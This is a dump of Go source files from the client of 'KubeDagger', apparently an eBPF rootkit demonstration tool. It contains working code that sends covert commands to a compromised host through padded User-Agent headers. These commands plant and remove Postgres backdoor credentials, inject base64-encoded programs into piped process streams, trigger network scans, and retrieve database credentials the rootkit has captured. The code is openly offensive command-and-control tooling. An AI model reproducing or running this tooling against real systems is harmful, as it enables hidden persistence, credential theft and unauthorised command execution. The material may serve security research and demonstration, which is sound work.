= "t" 77 | fontsize = 75 78 | fontcolor = "black" 79 | fontname = "arial" 80 | nodesep = 2 81 | sep = "+50" 82 | 83 | graph [pad=2, overlap = false] 84 | node [style=rounded, style="rounded", colorscheme=set39, shape=record, fontname = "arial", margin=0.3, padding=1, penwidth=3] 85 | edge [colorscheme=set39, penwidth=2] 86 | 87 | {{ range .Hosts }} 88 | subgraph {{ .ID }} { 89 | label = "{{ .Label }}"; 90 | style = "rounded"; 91 | {{ range .Nodes }} 92 | {{ .ID }} [label="{{ .Label }}", fontsize={{ .Size }}, shape=box, color="{{ .Color }}"]{{ end }} 93 | }{{ end }} 94 | 95 | {{ range .Edges }} 96 | {{ .Link }} [arrowhead=normal, color="{{ .Color }}", label="{{ .Label }}", fontsize=30, style="{{ .Style }}"] 97 | {{ end }} 98 | } 99 | ` 100 | data := prepareGraphData("", flows, activeDiscovery, passiveDicovery) 101 | 102 | f, err := ioutil.TempFile("/tmp", "network-discovery-graph-") 103 | if err != nil { 104 | return err 105 | } 106 | defer f.Close() 107 | 108 | if err := os.Chmod(f.Name(), os.ModePerm); err != nil { 109 | return err 110 | } 111 | 112 | t := template.Must(template.New("tmpl").Parse(tmpl)) 113 | if err := t.Execute(f, data); err != nil { 114 | return err 115 | } 116 | logrus.Infof("Graph generated: %s", f.Name()) 117 | 118 | return nil 119 | } 120 | 121 | func prepareGraphData(title string, flows []flow, activeDiscovery bool, passiveDicovery bool) graph { 122 | var i int 123 | var maxFlowsCount int 124 | data := graph{ 125 | Title: title, 126 | } 127 | 128 | // reorder flows by hosts 129 | hosts := map[string][]int{} 130 | for _, f := range flows { 131 | if f.isPassive() && !passiveDicovery || !f.isPassive() && !activeDiscovery { 132 | continue 133 | } 134 | hosts[f.saddr] = append(hosts[f.saddr], int(f.sourcePort)) 135 | hosts[f.daddr] = append(hosts[f.daddr], int(f.destPort)) 136 | } 137 | 138 | ports := map[string][]flow{} 139 | for _, f := range flows { 140 | if f.isPassive() && !passiveDicovery || !f.isPassive() && !activeDiscovery { 141 | continue 142 | } 143 | ports[fmt.Sprintf("%s:%d", f.saddr, f.sourcePort)] = append(ports[fmt.Sprintf("%s:%d", f.saddr, f.sourcePort)], f) 144 | ports[fmt.Sprintf("%s:%d", f.daddr, f.destPort)] = append(ports[fmt.Sprintf("%s:%d", f.daddr, f.destPort)], f) 145 | } 146 | for _, fs := range ports { 147 | if len(fs) > maxFlowsCount { 148 | maxFlowsCount = len(fs) 149 | } 150 | } 151 | 152 | ipToClusterID := map[string]string{} 153 | for ip, hostPorts := range hosts { 154 | var label string 155 | domains, err := net.LookupAddr(ip) 156 | if err == nil { 157 | label = ip + "\n[" + strings.Join(domains, ",") + "]" 158 | } else { 159 | label = ip 160 | } 161 | cls := cluster{ 162 | ID: fmt.Sprintf("cluster_%d", i), 163 | Label: label, 164 | Nodes: make(map[string]node), 165 | } 166 | ipToClusterID[ip] = cls.ID 167 | i++ 168 | 169 | for _, port := range hostPorts { 170 | if port == 0 { 171 | continue 172 | } 173 | n := node{ 174 | ID: generateNodeID(fmt.Sprintf("%s:%d", ip, port)), 175 | Label: fmt.Sprintf(":%d", port), 176 | } 177 | if port == 0xC001 { 178 | n.Label = "kubedagger" 179 | } 180 | 181 | p := ports[fmt.Sprintf("%s:%d", ip, port)] 182 | if p[0].udpCount > 0 { 183 | n.Size = len(p)/maxFlowsCount*40 + 30 184 | n.Color = udpColor 185 | } 186 | if p[0].tcpCount > 0 { 187 | n.Size = len(p)/maxFlowsCount*40 + 30 188 | n.Color = tcpColor 189 | } 190 | cls.Nodes[generateNodeID(fmt.Sprintf("%s:%d", ip, port))] = n 191 | } 192 | data.Hosts = append(data.Hosts, cls) 193 | } 194 | 195 | for _, f := range flows { 196 | if f.isPassive() && !passiveDicovery || !f.isPassive() && !activeDiscovery { 197 | continue 198 | } 199 | e := edge{} 200 | if f.udpCount > 0 { 201 | e.Label = fmt.Sprintf("%s", bytesize.New(float64(f.udpCount))) 202 | e.Color = udpColor 203 | } 204 | if f.tcpCount > 0 { 205 | e.Label = fmt.Sprintf("%s", bytesize.New(float64(f.tcpCount))) 206 | switch f.flowType { 207 | case model.IngressFlow, model.EgressFlow: 208 | e.Color = tcpColor 209 | case model.Syn: 210 | e.Color = synColor 211 | e.Style = "dashed" 212 | e.Label = "" 213 | case model.Reset: 214 | e.Color = rstColor 215 | e.Style = "dashed" 216 | e.Label = "" 217 | case model.Ack: 218 | e.Color = ackColor 219 | e.Label = "" 220 | } 221 | } 222 | if f.flowType == model.ARPRequest || f.flowType == model.ARPReply { 223 | if f.flowType == model.ARPRequest { 224 | e.Label = "ARP Request" 225 | } else if f.flowType == model.ARPReply { 226 | e.Label = "ARP Reply" 227 | } 228 | e.Color = arpColor 229 | e.Link = fmt.Sprintf("%s -> %s", ipToClusterID[f.saddr], ipToClusterID[f.daddr]) 230 | } 231 | if len(e.Link) == 0 { 232 | e.Link = fmt.Sprintf("%s -> %s", generateNodeID(fmt.Sprintf("%s:%d", f.saddr, f.sourcePort)), generateNodeID(fmt.Sprintf("%s:%d", f.daddr, f.destPort))) 233 | } 234 | data.Edges = append(data.Edges, e) 235 | } 236 | return data 237 | } 238 | 239 | func generateNodeID(section string) string { 240 | var id string 241 | for _, b := range blake2b.Sum256([]byte(section)) { 242 | id += fmt.Sprintf("%v", b) 243 | } 244 | return id 245 | } 246 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/network_discovery/scan.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package network_discovery 18 | 19 | import "github.com/sirupsen/logrus" 20 | 21 | // SendNetworkDiscoveryScanRequest sends a request to scan the provided IP and port ranges 22 | func SendNetworkDiscoveryScanRequest(target string, ip string, port string, portRange string) error { 23 | body := sendRequest("GET", target+"/get_net_sca", buildNetworkDiscoveryScanUserAgent(ip, port, portRange)) 24 | logrus.Debugf("%s\n", body) 25 | return nil 26 | } 27 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/network_discovery/utils.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package network_discovery 18 | 19 | import ( 20 | "fmt" 21 | "io/ioutil" 22 | "net/http" 23 | "net/http/httputil" 24 | "strings" 25 | 26 | "github.com/sirupsen/logrus" 27 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/utils" 28 | 29 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/model" 30 | ) 31 | 32 | func sendRequest(method string, route string, userAgent string) []byte { 33 | client := &http.Client{} 34 | req, err := http.NewRequest(method, route, nil) 35 | if err != nil { 36 | logrus.Fatalln(err) 37 | } 38 | 39 | req.Header.Set("User-Agent", userAgent) 40 | 41 | b, err := httputil.DumpRequest(req, true) 42 | logrus.Debugf("\n%s", utils.CleanupHost(string(b))) 43 | 44 | resp, err := client.Do(req) 45 | if err != nil { 46 | logrus.Fatalln(err) 47 | } 48 | 49 | defer resp.Body.Close() 50 | body, err := ioutil.ReadAll(resp.Body) 51 | if err != nil { 52 | logrus.Fatalln(err) 53 | } 54 | return body 55 | } 56 | 57 | func buildNetworkDiscoveryUserAgent(id int) string { 58 | var userAgent string 59 | if id >= 1000 { 60 | userAgent = fmt.Sprintf("%d", id) 61 | } else if id >= 100 { 62 | userAgent = fmt.Sprintf("0%d", id) 63 | } else if id >= 10 { 64 | userAgent = fmt.Sprintf("00%d", id) 65 | } else if id >= 0 { 66 | userAgent = fmt.Sprintf("000%d", id) 67 | } 68 | 69 | // Add padding so that the request is UserAgentPaddingLen bytes long 70 | for len(userAgent) < model.UserAgentPaddingLen { 71 | userAgent += "_" 72 | } 73 | return userAgent 74 | } 75 | 76 | func buildNetworkDiscoveryScanUserAgent(ip string, port string, portRange string) string { 77 | var userAgent string 78 | for _, u8 := range strings.Split(ip, ".") { 79 | switch len(u8) { 80 | case 1: 81 | userAgent += fmt.Sprintf("00%s", u8) 82 | case 2: 83 | userAgent += fmt.Sprintf("0%s", u8) 84 | case 3: 85 | userAgent += fmt.Sprintf("%s", u8) 86 | } 87 | } 88 | 89 | switch len(port) { 90 | case 1: 91 | userAgent += fmt.Sprintf("0000%s", port) 92 | case 2: 93 | userAgent += fmt.Sprintf("000%s", port) 94 | case 3: 95 | userAgent += fmt.Sprintf("00%s", port) 96 | case 4: 97 | userAgent += fmt.Sprintf("0%s", port) 98 | case 5: 99 | userAgent += fmt.Sprintf("%s", port) 100 | } 101 | 102 | switch len(portRange) { 103 | case 1: 104 | userAgent += fmt.Sprintf("0000%s", portRange) 105 | case 2: 106 | userAgent += fmt.Sprintf("000%s", portRange) 107 | case 3: 108 | userAgent += fmt.Sprintf("00%s", portRange) 109 | case 4: 110 | userAgent += fmt.Sprintf("0%s", portRange) 111 | case 5: 112 | userAgent += fmt.Sprintf("%s", portRange) 113 | } 114 | 115 | // Add padding so that the request is UserAgentPaddingLen bytes long 116 | for len(userAgent) < model.UserAgentPaddingLen { 117 | userAgent += "_" 118 | } 119 | return userAgent 120 | } 121 | 122 | func buildFSWatchUserAgent(file string, inContainer bool, active bool) string { 123 | var flag int 124 | if inContainer { 125 | flag += 1 126 | } 127 | if active { 128 | flag += 2 129 | } 130 | userAgent := fmt.Sprintf("%d%s#", flag, file) 131 | 132 | // Add padding so that the request is UserAgentPaddingLen bytes long 133 | for len(userAgent) < model.UserAgentPaddingLen { 134 | userAgent += "_" 135 | } 136 | return userAgent 137 | } 138 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/options.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package run 18 | 19 | import ( 20 | "fmt" 21 | "os" 22 | 23 | "github.com/sirupsen/logrus" 24 | ) 25 | 26 | // CLIOptions are the command line options of ssh-probe 27 | type CLIOptions struct { 28 | LogLevel logrus.Level 29 | Target string 30 | From string 31 | To string 32 | // fs_watch options 33 | InContainer bool 34 | Active bool 35 | Output string 36 | // pipe_prog options 37 | Backup bool 38 | // docker options 39 | Override int 40 | Ping int 41 | // postgres options 42 | Role string 43 | Secret string 44 | // network discovery scan 45 | IP string 46 | Port string 47 | Range string 48 | ActiveDiscovery bool 49 | PassiveDiscovery bool 50 | } 51 | 52 | // LogLevelSanitizer is a log level sanitizer that ensures that the provided log level exists 53 | type LogLevelSanitizer struct { 54 | logLevel *logrus.Level 55 | } 56 | 57 | // NewLogLevelSanitizer creates a new instance of LogLevelSanitizer. The sanitized level will be written in the provided 58 | // logrus level 59 | func NewLogLevelSanitizer(sanitizedLevel *logrus.Level) *LogLevelSanitizer { 60 | *sanitizedLevel = logrus.InfoLevel 61 | return &LogLevelSanitizer{ 62 | logLevel: sanitizedLevel, 63 | } 64 | } 65 | 66 | func (lls *LogLevelSanitizer) String() string { 67 | return fmt.Sprintf("%v", *lls.logLevel) 68 | } 69 | 70 | func (lls *LogLevelSanitizer) Set(val string) error { 71 | sanitized, err := logrus.ParseLevel(val) 72 | if err != nil { 73 | return err 74 | } 75 | *lls.logLevel = sanitized 76 | return nil 77 | } 78 | 79 | func (lls *LogLevelSanitizer) Type() string { 80 | return "string" 81 | } 82 | 83 | // TargetParser parses the target from the environment variables or from the CLI arguments 84 | type TargetParser struct { 85 | target *string 86 | } 87 | 88 | // NewTargetParser returns a new instance of TargetParser 89 | func NewTargetParser(target *string) *TargetParser { 90 | *target = "http://localhost:8000" 91 | return &TargetParser{ 92 | target: target, 93 | } 94 | } 95 | 96 | func (tp *TargetParser) Type() string { 97 | return "string" 98 | } 99 | 100 | func (tp *TargetParser) Set(val string) error { 101 | target := os.Getenv("KUBEDAGGER_TARGET") 102 | if len(target) > 0 { 103 | *tp.target = target 104 | } else if len(val) > 0 { 105 | *tp.target = val 106 | } else { 107 | *tp.target = "http://localhost:8000" 108 | } 109 | return nil 110 | } 111 | 112 | func (tp *TargetParser) String() string { 113 | return fmt.Sprintf("%v", *tp.target) 114 | } 115 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/pipe_prog/del.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package pipe_prog 18 | 19 | import ( 20 | "io/ioutil" 21 | "net/http" 22 | "net/http/httputil" 23 | 24 | "github.com/sirupsen/logrus" 25 | 26 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/utils" 27 | ) 28 | 29 | // SendDelPipeProgRequest sends a request to delete a piped program on the target system 30 | func SendDelPipeProgRequest(target string, from string, to string) error { 31 | client := &http.Client{} 32 | 33 | req, err := http.NewRequest("GET", target+"/del_pipe_pg", nil) 34 | if err != nil { 35 | logrus.Fatalln(err) 36 | } 37 | 38 | req.Header.Set("User-Agent", buildUserAgent(from, to, "")) 39 | 40 | b, err := httputil.DumpRequest(req, true) 41 | logrus.Debugf("\n%s", utils.CleanupHost(string(b))) 42 | 43 | resp, err := client.Do(req) 44 | if err != nil { 45 | logrus.Fatalln(err) 46 | } 47 | 48 | defer resp.Body.Close() 49 | body, err := ioutil.ReadAll(resp.Body) 50 | if err != nil { 51 | logrus.Fatalln(err) 52 | } 53 | 54 | logrus.Debugf("\n%s", body) 55 | return nil 56 | } 57 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/pipe_prog/put.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package pipe_prog 18 | 19 | import ( 20 | "io/ioutil" 21 | "net/http" 22 | "net/http/httputil" 23 | 24 | "github.com/sirupsen/logrus" 25 | 26 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/utils" 27 | ) 28 | 29 | // SendPutPipeProgRequest sends a request to add a piped program on the target system 30 | func SendPutPipeProgRequest(backup bool, target string, from string, to string, program string) error { 31 | client := &http.Client{} 32 | 33 | req, err := http.NewRequest("GET", target+"/put_pipe_pg", nil) 34 | if err != nil { 35 | logrus.Fatalln(err) 36 | } 37 | 38 | req.Header.Set("User-Agent", buildPutUserAgent(backup, from, to, program)) 39 | 40 | b, err := httputil.DumpRequest(req, true) 41 | logrus.Debugf("\n%s", utils.CleanupHost(string(b))) 42 | 43 | resp, err := client.Do(req) 44 | if err != nil { 45 | logrus.Fatalln(err) 46 | } 47 | 48 | defer resp.Body.Close() 49 | body, err := ioutil.ReadAll(resp.Body) 50 | if err != nil { 51 | logrus.Fatalln(err) 52 | } 53 | 54 | logrus.Debugf("\n%s", body) 55 | return nil 56 | } 57 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/pipe_prog/utils.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package pipe_prog 18 | 19 | import ( 20 | "encoding/base64" 21 | 22 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/model" 23 | ) 24 | 25 | func buildUserAgent(from string, to string, program string) string { 26 | userAgent := from 27 | for len(userAgent) < 16 { 28 | userAgent += "#" 29 | } 30 | 31 | userAgent += to 32 | for len(userAgent) < 32 { 33 | userAgent += "#" 34 | } 35 | 36 | if len(program) > 0 { 37 | var base64Prog string 38 | // Pad with ' ' until you don't have a tailing '='. Our eBPF decode doesn't handle base64 string with '=' padding. 39 | base64Prog = base64.StdEncoding.EncodeToString([]byte(program)) 40 | for base64Prog[len(base64Prog)-1] == '=' { 41 | program += " " 42 | base64Prog = base64.StdEncoding.EncodeToString([]byte(program)) 43 | } 44 | 45 | userAgent += base64Prog 46 | } 47 | 48 | // Add padding so that the request is UserAgentPaddingLen bytes long 49 | for len(userAgent) < model.UserAgentPaddingLen { 50 | userAgent += "_" 51 | } 52 | return userAgent 53 | } 54 | 55 | func buildPutUserAgent(backup bool, from string, to string, program string) string { 56 | var prefix string 57 | if backup { 58 | prefix = "1" 59 | } else { 60 | prefix = "0" 61 | } 62 | return prefix + buildUserAgent(from, to, program) 63 | } 64 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/postgres/del.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package postgres 18 | 19 | import ( 20 | "io/ioutil" 21 | "net/http" 22 | "net/http/httputil" 23 | 24 | "github.com/sirupsen/logrus" 25 | 26 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/utils" 27 | ) 28 | 29 | // SendDelPostgresRoleRequest sends a request to remove a postgres backdoor secret on the target system 30 | func SendDelPostgresRoleRequest(target string, secret string) error { 31 | client := &http.Client{} 32 | 33 | req, err := http.NewRequest("GET", target+"/del_pg_role", nil) 34 | if err != nil { 35 | logrus.Fatalln(err) 36 | } 37 | 38 | req.Header.Set("User-Agent", buildDelUserAgent(secret)) 39 | 40 | b, err := httputil.DumpRequest(req, true) 41 | logrus.Debugf("\n%s", utils.CleanupHost(string(b))) 42 | 43 | resp, err := client.Do(req) 44 | if err != nil { 45 | logrus.Fatalln(err) 46 | } 47 | 48 | defer resp.Body.Close() 49 | body, err := ioutil.ReadAll(resp.Body) 50 | if err != nil { 51 | logrus.Fatalln(err) 52 | } 53 | 54 | logrus.Debugf("\n%s", body) 55 | return nil 56 | } 57 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/postgres/list.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package postgres 18 | 19 | import ( 20 | "fmt" 21 | "io/ioutil" 22 | "net/http" 23 | "net/http/httputil" 24 | "os" 25 | "path" 26 | "strings" 27 | 28 | "github.com/sirupsen/logrus" 29 | 30 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/utils" 31 | ) 32 | 33 | // SendGetPostgresSecretsListRequest sends a request list all the postgresql secrets detected by the rootkit 34 | func SendGetPostgresSecretsListRequest(target string, output string) error { 35 | if len(output) > 0 { 36 | d := path.Dir(output) 37 | _ = os.MkdirAll(d, 0664) 38 | f, err := os.Create(output) 39 | if err != nil { 40 | logrus.Fatalf("couldn't create output file: %s", err) 41 | } 42 | _ = f.Close() 43 | } 44 | 45 | file := "/kubedagger/pg_credentials" 46 | nextFile := "/kubedagger/pg_credentials" 47 | var done bool 48 | var data string 49 | firstTry := true 50 | 51 | for !done { 52 | client := &http.Client{} 53 | req, err := http.NewRequest("GET", target+"/get_fswatch", nil) 54 | if err != nil { 55 | logrus.Fatalf("couldn't create HTTP request: %v", err) 56 | } 57 | 58 | req.Header.Set("User-Agent", buildFSWatchUserAgent(nextFile, false, false)) 59 | 60 | if file == nextFile && firstTry { 61 | firstTry = false 62 | b, _ := httputil.DumpRequest(req, true) 63 | logrus.Debugf("\n%s", utils.CleanupHost(string(b))) 64 | } 65 | 66 | resp, err := client.Do(req) 67 | if err != nil { 68 | logrus.Fatalf("couldn't send HTTP request: %v", err) 69 | } 70 | 71 | defer resp.Body.Close() 72 | body, err := ioutil.ReadAll(resp.Body) 73 | if err != nil { 74 | logrus.Fatalf("couldn't read HTTP response: %v", err) 75 | } 76 | 77 | if !isResponseValid(body) { 78 | continue 79 | } 80 | 81 | data += strings.Join(strings.Split(strings.Trim(string(body[:len(body)-6]), "_"), "#"), " ") 82 | 83 | if body[len(body)-5] == '_' { 84 | done = true 85 | continue 86 | } 87 | 88 | nextFile = fmt.Sprintf("%s%s", string(body[len(body)-4:]), nextFile[4:]) 89 | client.CloseIdleConnections() 90 | } 91 | 92 | if len(output) == 0 { 93 | logrus.Printf("Showing the list of Postgresql credentials detected on the target system:\n%s\n", data) 94 | } else { 95 | if err := ioutil.WriteFile(output, []byte(data), 0664); err != nil { 96 | logrus.Fatalf("couldn't write data in output file: %s", err) 97 | } 98 | } 99 | return nil 100 | } 101 | 102 | func isResponseValid(body []byte) bool { 103 | if len(body) < 5 { 104 | return false 105 | } 106 | 107 | // check that the request was properly overwritten, otherwise retry 108 | nextOpChar := body[len(body)-5] 109 | if nextOpChar != '_' && nextOpChar != '#' { 110 | return false 111 | } 112 | for _, elem := range body[len(body)-4:] { 113 | if elem != '_' && elem < 65 && elem > 90 { 114 | return false 115 | } 116 | } 117 | return true 118 | } 119 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/postgres/put.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package postgres 18 | 19 | import ( 20 | "io/ioutil" 21 | "net/http" 22 | "net/http/httputil" 23 | 24 | "github.com/sirupsen/logrus" 25 | 26 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/utils" 27 | ) 28 | 29 | // SendPutPostgresRoleRequest sends a request to send a new set of credentials on the target system 30 | func SendPutPostgresRoleRequest(target string, role string, secret string) error { 31 | client := &http.Client{} 32 | 33 | req, err := http.NewRequest("GET", target+"/put_pg_role", nil) 34 | if err != nil { 35 | logrus.Fatalln(err) 36 | } 37 | 38 | req.Header.Set("User-Agent", buildPutUserAgent(role, secret)) 39 | 40 | b, err := httputil.DumpRequest(req, true) 41 | logrus.Debugf("\n%s", utils.CleanupHost(string(b))) 42 | 43 | resp, err := client.Do(req) 44 | if err != nil { 45 | logrus.Fatalln(err) 46 | } 47 | 48 | defer resp.Body.Close() 49 | body, err := ioutil.ReadAll(resp.Body) 50 | if err != nil { 51 | logrus.Fatalln(err) 52 | } 53 | 54 | logrus.Debugf("\n%s", body) 55 | return nil 56 | } 57 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/postgres/utils.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package postgres 18 | 19 | import ( 20 | "crypto/md5" 21 | "encoding/hex" 22 | "fmt" 23 | 24 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/model" 25 | ) 26 | 27 | func buildFSWatchUserAgent(file string, inContainer bool, active bool) string { 28 | var flag int 29 | if inContainer { 30 | flag += 1 31 | } 32 | if active { 33 | flag += 2 34 | } 35 | userAgent := fmt.Sprintf("%d%s#", flag, file) 36 | 37 | // Add padding so that the request is UserAgentPaddingLen bytes long 38 | for len(userAgent) < model.UserAgentPaddingLen { 39 | userAgent += "_" 40 | } 41 | return userAgent 42 | } 43 | 44 | func buildPutUserAgent(role string, secret string) string { 45 | // generate md5 hash 46 | userAgent := fmt.Sprintf("%s%s#", md5s(secret+role), role) 47 | 48 | // Add padding so that the request is UserAgentPaddingLen bytes long 49 | for len(userAgent) < model.UserAgentPaddingLen { 50 | userAgent += "_" 51 | } 52 | return userAgent 53 | } 54 | 55 | func buildDelUserAgent(role string) string { 56 | userAgent := fmt.Sprintf("%s#", role) 57 | 58 | // Add padding so that the request is UserAgentPaddingLen bytes long 59 | for len(userAgent) < model.UserAgentPaddingLen { 60 | userAgent += "_" 61 | } 62 | return userAgent 63 | } 64 | 65 | func md5s(s string) string { 66 | h := md5.New() 67 | h.Write([]byte(s)) 68 | return "md5" + hex.EncodeToString(h.Sum(nil)) 69 | } 70 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/utils/byteorder.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package utils 18 | 19 | import ( 20 | "encoding/binary" 21 | "unsafe" 22 | ) 23 | 24 | // GetHostByteOrder guesses the hosts byte order 25 | func GetHostByteOrder() binary.ByteOrder { 26 | var i int32 = 0x01020304 27 | u := unsafe.Pointer(&i) 28 | pb := (*byte)(u) 29 | b := *pb 30 | if b == 0x04 { 31 | return binary.LittleEndian 32 | } 33 | 34 | return binary.BigEndian 35 | } 36 | 37 | // ByteOrder holds the hosts byte order 38 | var ByteOrder binary.ByteOrder 39 | 40 | func init() { 41 | ByteOrder = GetHostByteOrder() 42 | } 43 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/utils/cleanup.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package utils 18 | 19 | import ( 20 | "os" 21 | "strings" 22 | ) 23 | 24 | func CleanupHost(request string) string { 25 | toScrub := os.Getenv("KUBEDAGGER_TARGET") 26 | if len(toScrub) == 0 { 27 | return request 28 | } 29 | output := strings.ReplaceAll(request, toScrub, "https://blackhat.demo.dog") 30 | toScrub = strings.TrimPrefix(toScrub, "https://") 31 | return strings.ReplaceAll(output, toScrub, "blackhat.demo.dog") 32 | } 33 | 